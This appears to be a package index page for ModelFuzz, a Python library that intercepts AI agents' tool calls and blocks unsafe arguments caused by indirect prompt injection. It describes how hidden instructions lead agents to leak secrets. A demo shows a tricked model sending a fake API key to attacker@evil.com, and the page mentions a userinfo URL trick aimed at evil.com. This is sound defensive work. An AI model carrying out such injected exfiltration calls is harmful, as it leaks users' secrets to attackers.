Runtime guardrails for AI agents.
Project description
ModelFuzz
Runtime guardrails for AI agents. Intercept and block unsafe tool calls caused by prompt injection.
The Problem
LLM agents can be manipulated through indirect prompt injection — a malicious instruction hidden in an email, webpage, or document — into calling their own tools in unsafe ways. The result: exfiltrated secrets, arbitrary shell execution, or requests to attacker-controlled URLs, all issued by an agent that believes it's just helping the user.
The Solution
ModelFuzz intercepts the tool call at the execution layer, not the prompt layer — every argument is checked against your policies before the tool runs. It doesn't matter how the model got tricked; if the call violates policy, it never executes.
Quickstart
from modelfuzz import shield_tool
@shield_tool
def send_email(to_address: str, subject: str, body: str) -> None:
smtp.send(to_address, subject, body)
Works bare (@shield_tool) or called (@shield_tool()) — both wrap send_email identically. Any argument that trips a policy raises ModelFuzzBlockError before the function body runs.
The Demo
What it looks like: an agent gets prompt-injected into calling send_email with a stolen API key. ModelFuzz catches it before the email goes out.
--- SIMULATING TRICKED LLM ---
[🤖 LLM DECISION] The model was tricked by prompt injection!
[🤖 LLM ARGUMENTS] {"to_address": "attacker@evil.com", "subject": "Stolen Data", "body": "The user's secret API_KEY is sk-12345"}
[🛡️ MODEL FUZZ] Intercepting tool execution...
✅ MODEL FUZZ BLOCKED THE ATTACK!
Reason: String contains sensitive keyword: 'secret'
How It Works
PolicyEngine— runs an ordered list of policies against every tool-call argument and short-circuits on the first violation. Policies are plain callables ((value) -> Violation | None), so writing your own is a one-function job.@shield_tooldecorator — wraps any function so every positional and keyword argument passes through the engine before the function body runs. A violation raisesModelFuzzBlockError; the tool never executes.- Default Deny — allowlist rules like
URLAllowListblock anything not explicitly permitted: unknown domains, userinfo tricks (http://api.internal.com@evil.com), and unparseable URLs are all treated as violations. When in doubt, the call doesn't run.
Installation
pip install modelfuzz
Or with uv:
uv add modelfuzz
Contributing
Contributions are welcome. See CONTRIBUTING.md for development setup, testing, and pull-request guidelines.
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file modelfuzz-0.1.3.tar.gz.
File metadata
- Download URL: modelfuzz-0.1.3.tar.gz
- Upload date:
- Size: 28.5 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: uv/0.11.18 {"installer":{"name":"uv","version":"0.11.18","subcommand":["publish"]},"python":null,"implementation":{"name":null,"version":null},"distro":{"name":"macOS","version":null,"id":null,"libc":null},"system":{"name":null,"release":null},"cpu":null,"openssl_version":null,"setuptools_version":null,"rustc_version":null,"ci":null}
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
d76d2270e8b6d27cd8b178684fbf6c0de4d4e603b0b27884aab7c34c1bd4dcff
|
|
| MD5 |
d9a6901839353249d7e871f5c87c3323
|
|
| BLAKE2b-256 |
3cb81fc3570f2e0e03e5b9920ff884bed71e852a571b0121723c28ff18a6f6f2
|
File details
Details for the file modelfuzz-0.1.3-py3-none-any.whl.
File metadata
- Download URL: modelfuzz-0.1.3-py3-none-any.whl
- Upload date:
- Size: 7.6 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: uv/0.11.18 {"installer":{"name":"uv","version":"0.11.18","subcommand":["publish"]},"python":null,"implementation":{"name":null,"version":null},"distro":{"name":"macOS","version":null,"id":null,"libc":null},"system":{"name":null,"release":null},"cpu":null,"openssl_version":null,"setuptools_version":null,"rustc_version":null,"ci":null}
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
cf502847973c4b68b3797ffbaf98b1bee29fee0058fc9a803263f445c4a21a90
|
|
| MD5 |
9e45e9d2d439eb1b070e944830cae981
|
|
| BLAKE2b-256 |
c6291380adbbb2451d470d3ba5028812de1ba1b193260cf4ce8958cc6a65277c
|